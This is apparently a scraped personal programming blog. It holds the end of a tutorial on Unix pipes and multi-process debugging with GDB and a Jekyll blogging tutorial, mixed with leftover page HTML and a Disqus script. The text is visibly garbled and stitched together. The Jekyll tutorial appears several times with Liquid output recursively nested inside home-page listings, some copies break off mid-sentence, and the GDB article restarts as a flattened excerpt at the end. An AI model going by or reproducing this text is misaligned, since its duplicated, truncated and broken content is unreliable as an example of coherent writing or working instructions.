    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
     end -->
    		
      	</body>
    </html>
    

    Edit home page

    We will create an extremely simple home page first, which contains a list of your blog posts.

    vim index.html
    

    Put the following content in your home page.

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
        </h2>
      </li>
    
    </ul>
    

    It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

    Edit blog content

    Finally, we could create our blog post.

    You could change the name of the blog, but the name must

    • have a format YYYY-mm-dd-blog-name.ext
    • the ext has to be one of .md, .markdown etc.

    Here is an example:

    vim _post/2017-02-10-first-blog.md
    

    Now put the content in your blog post

    ---
    layout: post
    title: first blog
    date: 2017-01-20
    ---
    
    # Title
    
    ## Second-level title
    
    some content
    

    This tells Jekyll use post.html as the layout, which recursively use default.html.

    Remember the Blog with Jekyll for beginners and 2017-02-10 00:00:00 +0000 in post.html? Here is where we define the value of these variables.

    Time for a demo

    Now let’s run a local server to see how our first blog looks like.

    jekyll server
    

    In your browser, use address localhost:4000 to see your blog site.

    Moving on

    Believe me, you have mastered essential skills for creating a great website with Jekyll.

    The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

    Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

    Customize article preview front matter with Jekyll plugin

    Default article preview front matter

    Jekyll comes with default article preview tag – post.excerpt.

    Modify our index.html page:

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p><p>This article</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p><p>This article</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
          
          <!-- insert this line -->
          <p><p>In this article, we’ll walk through a simple example showing</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
          
          <!-- insert this line -->
          <p><p>Quoted from <a href="https://www.youtube.com/watch?v=f6kdp27TYZs">Go Concurrency Patterns</a>.</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
          
          <!-- insert this line -->
          <p><p>There are two common ways to handle errors:</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
          
          <!-- insert this line -->
          <p><p>Quoted from:</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>What’s different between communication in distributed system and local machine.</li>
      <li>Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them.</li>
      <li>Two most successful protocol using these two communication idea, i.e. RESTful and Thrift.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>Our software system is far from robust and safe.</li>
      <li>This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>How do producer(s) notify consumer(s) to stop?</li>
      <li>The producer can not simple kill the consumer, since there may be some jobs still in the queue.</li>
      <li>One solution is use poison pill – a special value to notify consumer(s) the end of service.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
    </ul>
    

    We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

    Customize article preview behavior

    To have a fully customized preview tool, we have to create a Jekyll plugin.

    There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

    Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

    Create a Ruby file under _plugin directory.

    mkdir _plugins
    vim _plugins/example.rb
    

    Put in following contents:

    module Jekyll
      module PreviewFilter
        def build_preview(content)
          return content[0, 10]
        end
      end
    end
    
    Liquid::Template.register_filter(Jekyll::PreviewFilter)
    

    The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

    Just as a supplementary, I suggest reading this paragraph.

    Time for a demo

    Now let’s change our index.html

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p>This article
    
    - shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills)
    - use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter
    - example blog
    
    ![example-blog](/img/posts/jekyll-blog-demo.gif)
    
    Pre-requists
    
    - Basic understanding of HTML, CSS, JS and their relations
    - Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp
    > jekyll new my-blog
    New jekyll site installed in /private/tmp/my-blog.
    

    By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

    Create a post

    Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

    > mkdir /tmp/blog-backup
    > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/
    

    Layout

    Post layout

    Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

    Jekyll is great to separate layout/template from contents.

    We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

    Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

    This may sound abstract, let’s have a dry run!

    > cd my-blog
    > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html
    

    This is the simple post HTML.

    {% raw %}

    ---
    layout: default
    ---
    
    	
    		{{ page.title }}
    		{{ page.date | date: "%b %-d, %Y" }}
    	
    
    	
    		{{ content }}
    	
    
    

    {% endraw %}

    Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

    If you did read the article, you should understand

    • {{ foo }} is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, {{ content }} is a variable created by Jekyll, whose value is the actual blog content you composed.
    • In{{ foo | bar }}, the | is just like Unix pipe supporting casacading operations.
    • In {{ foo | bar: v1, v2 }}, the : v1, v2 is the input arguments for filter bar.

    Now you may have two questions:

    • The HTML file is incomplete, for example `````` etc. are missing,
    • The first three lines of post.html is mistery,

    so let’s move on.

    The complete layout

    At this point, you may be wondering what the heck is that on top of the file:

    ---
    layout: default
    ---
    

    Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then replace the placeholder {{ content }} in default.html with the whole content of this file(post.html). By doing this, Jekyll enable us to define layout in a hierarchical way.

    Now let’s create file _layout/default.html with following content:

    {% raw %}

    
    
    	{% include head.html %}
    	
    		{{ content }}
      	
    
    

    {% endraw %}

    notice this is a complete HTML file and the {{ content }} placeholder is where the content of post.html should fit into.

    The {% raw %}{% include foo.ext %}{% endraw %}s are straightforward, they will be replaced by contents of _include/foo.ext.

    Let’s create file _include/head.html with following content:

    
    		
    
    

    This header has many things missing, but it works for our most simple blog.

    Therefore, after replacing everything, the actual HTML file for posts will be

    {% raw %}

    
    
    	
    	
    			
    	
    	
    	
    	
    	
    		
    		
    			
    				{{ page.title }}
    				{{ page.date | date: "%b %-d, %Y" }}
    			
    		
    			
    				{{ content }}
    			
    		
    		
    		
      	
    
    

    {% endraw %}

    Edit home page

    We will create an extremely simple home page first, which contains a list of your blog posts.

    vim index.html
    

    Put the following content in your home page.

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
        
      
    {% endfor %}
    
    

    {% endraw %}

    It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

    Edit blog content

    Finally, we could create our blog post.

    You could change the name of the blog, but the name must

    • have a format YYYY-mm-dd-blog-name.ext
    • the ext has to be one of .md, .markdown etc.

    Here is an example:

    vim _post/2017-02-10-first-blog.md
    

    Now put the content in your blog post

    ---
    layout: post
    title: first blog
    date: 2017-01-20
    ---
    
    # Title
    
    ## Second-level title
    
    some content
    

    This tells Jekyll use post.html as the layout, which recursively use default.html.

    Remember the {{ page.title }} and {{ page.date }} in post.html? Here is where we define the value of these variables.

    Time for a demo

    Now let’s run a local server to see how our first blog looks like.

    jekyll server
    

    In your browser, use address localhost:4000 to see your blog site.

    Moving on

    Believe me, you have mastered essential skills for creating a great website with Jekyll.

    The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

    Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

    Customize article preview front matter with Jekyll plugin

    Default article preview front matter

    Jekyll comes with default article preview tag – post.excerpt.

    Modify our index.html page:

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
          
          
          {{ post.excerpt }}
          
        
      
    {% endfor %}
    
    

    {% endraw %}

    We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

    Customize article preview behavior

    To have a fully customized preview tool, we have to create a Jekyll plugin.

    There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

    Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

    Create a Ruby file under _plugin directory.

    mkdir _plugins
    vim _plugins/example.rb
    

    Put in following contents:

    module Jekyll
      module PreviewFilter
        def build_preview(content)
          return content[0, 10]
        end
      end
    end
    
    Liquid::Template.register_filter(Jekyll::PreviewFilter)
    

    The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

    Just as a supplementary, I suggest reading this paragraph.

    Time for a demo

    Now let’s change our index.html

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
          
          
          {{ post.content | strip_html | build_preview }}
          
        
      
    {% endfor %}
    
    

    {% endraw %}

    We see that instead of using Jekyll’s built-in post.excerpt tag, we use customized filter build_preview with content of post as input, to create the post preview on home page. The filter strip_html is used to remove html tags so that the preview could be rendered correctly.

    Run Jekyll local server

    jekyll server
    

    And you should see the change.

    </p>

    </h2>
    

    </li>

  • Blog with Jekyll for beginners

    This article - shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills) - use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter - example blog ![example-blog](/img/posts/jekyll-blog-demo.gif) Pre-requists - Basic understanding of HTML, CSS, JS and their relations - Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp > jekyll new my-blog New jekyll site installed in /private/tmp/my-blog. ``` By running the last command, you have created a directory organized in a way that Jekyll could create static website from. ## Create a post Before all, let's remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same. ``` > mkdir /tmp/blog-backup > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/ ``` ### Layout #### Post layout Now let's create a **layout** for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content. **Jekyll is great to separate layout/template from contents.** We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid. Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website. This may sound abstract, let's have a dry run! ``` > cd my-blog > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html ``` This is the simple post HTML. ```html --- layout: default --- {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` **Now, stop reading and check out [Liquid for designers](https://github.com/Shopify/liquid/wiki/Liquid-for-Designers) to get a basic understanding of these curly brackets.** If you did read the article, you should understand - ```{{ foo }}``` is nothing but a placeholder, Liquid will later replace variable ```foo ``` with its actual value. For example, ```{{ content }}``` is a variable created by Jekyll, whose value is the actual blog content you composed. - In```{{ foo | bar }}```, the ```|``` is just like Unix [pipe](https://en.wikipedia.org/wiki/Pipeline_(Unix)) supporting casacading operations. - In ```{{ foo | bar: v1, v2 }}```, the ```: v1, v2``` is the input arguments for filter ```bar```. Now you may have two questions: - The HTML file is incomplete, for example `````` etc. are missing, - The first three lines of ```post.html``` is mistery, so let's move on. #### The complete layout At this point, you may be wondering what the heck is that on top of the file: ``` --- layout: default --- ``` Jekyll use [YAML](https://en.wikipedia.org/wiki/YAML) to manage meta data of your web pages. This ```layout: default``` tells Jekyll to search for ```default.html``` in directory ```_layout```, and then **replace the placeholder ```{{ content }}``` in ```default.html``` with the whole content of this file(```post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way. Now let's create file ```_layout/default.html``` with following content: ```html {% include head.html %} {{ content }} ``` notice this is a complete HTML file and the ```{{ content }}``` placeholder is where the content of ```post.html``` should fit into. The {% raw %}```{% include foo.ext %}```{% endraw %}s are straightforward, they will be replaced by contents of ```_include/foo.ext```. Let's create file ```_include/head.html``` with following content: ```html ``` This header has many things missing, but it works for our most simple blog. Therefore, after replacing everything, the actual HTML file for posts will be ```html {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` ### Edit home page We will create an extremely simple home page first, which contains a list of your blog posts. ``` vim index.html ``` Put the following content in your home page. ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {% endfor %} ``` It's okay if you don't understand ```prepend: site.baseurl```. The most important thing is Jekyll will search for all files under directory ```_post``` and insert their URLs in hyper links. ### Edit blog content Finally, we could create our blog post. You could change the name of the blog, but the name must - have a format ```YYYY-mm-dd-blog-name.ext``` - the ```ext``` has to be one of ```.md```, ```.markdown``` etc. Here is an example: ``` vim _post/2017-02-10-first-blog.md ``` Now put the content in your blog post ``` --- layout: post title: first blog date: 2017-01-20 --- # Title ## Second-level title some content ``` This tells Jekyll use ```post.html``` as the layout, which recursively use ```default.html```. Remember the ```{{ page.title }}``` and ```{{ page.date }}``` in ```post.html```? Here is where we define the value of these variables. ## Time for a demo Now let's run a local server to see how our first blog looks like. ``` jekyll server ``` In your browser, use address ```localhost:4000``` to see your blog site. #### Moving on Believe me, you have mastered essential skills for creating a great website with Jekyll. The best way to step forward is downloading some nice Jekyll template and figure out how it is composed. Here is the [source code]() of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy. # Customize article preview front matter with Jekyll plugin ## Default article preview front matter Jekyll comes with default article preview tag -- ```post.excerpt```. Modify our ```index.html``` page: ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.excerpt }} {% endfor %} ``` We added a paragraph section to home page, which is a preview created by Jekyll ```post.excerpt``` tag. What it does is cut the first paragraph of the post. ## Customize article preview behavior To have a fully customized preview tool, we have to create a Jekyll plugin. There are multiple ways to create and use such plugins [(more details)](http://jekyllrb.com/docs/plugins/#installing-a-plugin). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under ```_plugins``` directory. Let's see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter ```truncate```. But for the purpose of this article, we'll instead create our dumb little Jekyll plugin. Create a Ruby file under ```_plugin``` directory. ``` mkdir _plugins vim _plugins/example.rb ``` Put in following contents: ```ruby module Jekyll module PreviewFilter def build_preview(content) return content[0, 10] end end end Liquid::Template.register_filter(Jekyll::PreviewFilter) ``` The ```build_preview``` function is straightforward. The other code is just tell Jekyll to register this filter in global scope. Just as a supplementary, I suggest reading [this paragraph]([Jekyll plugin#liquid filters](http://jekyllrb.com/docs/plugins/#liquid-filters)). ## Time for a demo Now let's change our ```index.html``` ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.content | strip_html | build_preview }} {% endfor %} ``` We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly. Run Jekyll local server ``` jekyll server ``` And you should see the change.

  • Inter-process communication using pipe and multiprocess debugging using GDB

    In this article, we’ll walk through a simple example showing how to use unix pipe for inter-process communication how to debug a program of three processes using GDB Pre-requists experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro) experience using GDB, know how to set breakpoints (checkout GDB tutorial) c language readability (espicially fork, exec) understand I/O redirect (checkout man dup) The problem The problem is to load two pre-built programs stream the output of the first program to the second one print the result of the second program print a finish sentence when both programs finish For example, we want to mimic the action of such bash command: /bin/ls | /bin/sort The first version Our very first version almost works, it sets up a pipe for later inter-process communication forks two processes modifies pipe for each process, so that the input/output is correctly redirected loads the pre-built programs to the processes prints the finish sentence The C file is here. Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work. gcc -o first first.c ./first /bin/ls /usr/bin/sort Here is the output: Run two programs succeeded! README.md a.out first first.c And this the output of pipe in terminal: /bin/ls | /usr/bin/sort README.md a.out first first.c We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end. This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs. To fix the problem, let’s move on to second version. The second version At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish. The second version is at here. Notice the only difference is two additional lines (105-106). Compile and run: gcc -o second second.c ./second /bin/ls /usr/bin/sort We will find the program never finishes! Instead of telling you why the program breaks, we will use GDB to find out the reason together. Compile the program again with debug information and use GDB to execute the program: gcc -g -O0 -o second second.c gdb --args second /bin/ls /usr/bin/sort Before everything, let’s set detach-on-fork environment variable of GDB to off. set detach-on-fork off By doint this, we could switch between processes easily. More details on this environment at here. Now let’s set breakpoint at right before waitpid system call and run the program (gdb) br second.c:105 Breakpoint 1 at 0x400b27: file second.c, line 105. (gdb) r ... Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105 105 waitpid(pid1, NULL, 0); Now use next command of GDB to step through the functions. (gdb) n 106 waitpid(pid2, NULL, 0); (gdb) n This means the first program finishes successfully, but the second one suspends and never returns! In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process. First, let GDB stops when a fork system call is called (gdb) catch fork Catchpoint 1 (fork) Next, go to the fork statement at line 84. (gdb) r Starting program: second /bin/ls 